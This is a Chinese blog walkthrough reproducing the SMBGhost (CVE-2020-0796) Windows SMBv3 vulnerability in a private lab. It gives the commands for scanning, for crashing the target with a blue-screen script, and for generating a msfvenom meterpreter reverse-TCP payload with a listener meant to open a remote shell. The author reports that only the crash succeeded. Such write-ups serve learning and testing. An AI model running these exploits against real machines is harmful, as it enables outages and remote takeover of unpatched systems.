当前位置:网站首页>漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决
漏洞复现_CVE-2020-0796 永恒之黑漏洞_遇坑_已解决
2022-06-10 07:43:00 【qq_51550750】
漏洞简介
永恒之黑漏洞与“永恒之蓝”漏洞极为相似,都是利用 “Windows SMB服务” 漏洞远程攻击获取系统最高权限。
漏洞危害等级:高危
“永恒之黑”漏洞高危之处在于对SMB客户端的攻击,攻击者可以通过构造一个“特制”的网页、压缩包、共享目录、OFFICE文档等,向攻击目标发送,一旦被攻击者打开则瞬间触发漏洞受到攻击。
攻击原理:
本漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,攻击方可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。永恒之黑一旦被成功利用,其危害不亚于永恒之蓝。
漏洞成因:
CVE-2020-0796 漏洞存在于受影响版本的 Windows 驱动 srv2.sys 中,由于 Windows SMB 更新到 3.1.1 版本增加了对压缩数据的支持,未对用户传输的压缩数据的合法性进行校验。
受影响的Windows版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
环境准备
1 一个受影响的windows版本
我准备的是Windows10 1903企业版 64位(特地自己装了一下)
需要镜像的建议去https://msdn.itellyou.cn网站下载自己需要的。
[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
确认当前作为靶机的Windows系统是受影响的版本
Windows版本,按win+r,在弹出运行窗口中,输入 winver

[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
其次要开启SMB服务:
win10如何开启SMB服务?
1、“win+R”快捷键弹出运行窗口,输入control确定;
2、在弹出窗口点击“程序”;
3、在弹出窗口点击“启用或关闭Windows功能”;

4、在弹出窗口点击“SMB 1.0/CIFS文件共享支持”进行全选,确定;
5、在弹出窗口等待搜索需要的文件,接着会自动进行功能启用;
6、在弹出窗口如图下,重启电脑即可(请保存好所打开文件再进行重启);
2 正常的电脑(也是win,因为要执行exe文件)
靶机IP:172.16.135.138
攻击机IP:172.16.135.137
利用流程
【1】使用奇安信的漏洞探测工具
直接在cmd中启动 CVE-2020-0796-Scanner.exe
(建议不要双击打开,否则容易“闪退”)
根据提示输入扫描目标IP 或者扫描IP范围
(这里为了方便,直接扫172.16.135.138-172.16.135.142)
【2】准备蓝屏payload
使用CVE-2020-0796 蓝屏工具进行攻击
python3 CVE-2020-0796.py <查询到存在漏洞的IP>
python3 CVE-2020-0796.py 172.16.135.138
如果靶机没有蓝屏就重新攻击一下(第1坑:kali的3.9一直不行,换了真机的3.10就可以了)
真机复现:

python3.9
用kali,死活不跳转
用虚拟机win10:
检测的其他方法
除了用奇安信的漏洞探测工具CVE-2020-0796-Scanner.exe,还可以尝试:SMBGhost
(1)SMBGhost
下载地址:https://github.com/ollypwn/SMBGhost
下载:
git clone https://github.com/ly4k/SMBGhost.git
扫描:
python3 scanner.py <IP>

(2)使用蓝屏payload,验证漏洞
蓝屏POC地址:https://github.com/chompie1337/SMBGhost_RCE_PoC
安装:
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
用法
python exploit.py -ip 192.168.142.131
不成功的建议切换python版本。(坑点2:用python3.9就无法复现,但是3.10就可以)
下图是我用3.10复现成功的

但是3.9就不行:
要么是:
。。。。
利用msf生成exp反弹shell
首先
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.135.203 lport=1335 -b '\x00' -f python

各个参数的意义:
-p 指定需要使用的payload(攻击荷载)是windows/x64/meterpreter/bind_tcp
lport 指定端口
-b 设定规避字符集,比如: '\x00\xff'避免使用的字符
-i 指定payload的编码次数
-f 指定输出格式
然后结合SMBGhost_RCE_PoC-master进行攻击。
注意:
SMBGhost_RCE_PoC-master中的exploit.py 原文件不能直接用来攻击,需要修改其中的 USER_PAYLOAD 部分;
启动msf
msfconsole
使用监听模块:
use exploit/multi/handler
设置payload
set payload windows/x64/meterpreter/reverse_tcp
配置options
然后run
然后回到SMBGhost_RCE_PoC-master进行攻击:
python3 exploit.py -ip 
然后按回车就得到shell
反正蓝屏是得到了:
但是没有得到shell,然后我又换了一台Kali,还是不行…
后来问了一个大佬,说这个洞本身可以弹shell,但是不是很稳定。用的也不是很多。
应该是靶机问题。换个真正有问题的靶机能够复现。
边栏推荐
猜你喜欢

Get started! How to quickly deploy web applications with dragon lab?

不要停止预训练实战(二)-一日看尽MLM
![[software testing] a collection of frequently asked questions from software testing interviews of several major manufacturers (bat, three major traffic manufacturers, and well-known manufacturers)](/img/d1/920567425c658b5bb9968fdf173555.png)
[software testing] a collection of frequently asked questions from software testing interviews of several major manufacturers (bat, three major traffic manufacturers, and well-known manufacturers)

R language data processing: tidyr package learning

Swagger quick use

3 zk的选举机制

创建RT-thread软件仿真工程 写RT-thread内核

Rk3399 default browser and Chinese language

Arena, a new proposal of the go language community, can optimize memory allocation

QT makes simple video calls
随机推荐
Biden, in his state of the Union address, called for greater online safety for children
YOLO-SLAM: A semantic SLAM system towards dynamic environment with geometric constraint
Transplantation method of MySQL UUID function in Dameng
RT-Thread设计与实现:RT-Thread 概述和架构
Refresh 54 Chinese NLP task benchmarks at one stroke. Easydl under ernie3.0 may be the best NLP development platform on the market
工程上对排序的改进
2. zk的工作机制
How R language uses ggplot2 to draw QQ graph and box graph
30. localstorage and sessionstorage are unknown
June 9, 2022: each meeting is given a start and end time. If there is any conflict between the subsequent meeting and the previous meeting, the conflicting and previous meeting will be completely canc
[C language] C language programming: dynamic address book
Using Jenkins' pipeline to implement ci/cd
Zhangxiaobai teaches you how to use Ogg to synchronize Oracle 19C data with MySQL 5.7 (4)
Congratulations from all researchers! Just officially announced!! Free training in English!!
Applet: get the current page routing information through getcurrentpages
PT kill of MySQL
Nationwide provincial and municipal linkage JSON data
What if online gambling can't be withdrawn?
YOLO-SLAM: A semantic SLAM system towards dynamic environment with geometric constraint
WPF 数据绑定(三)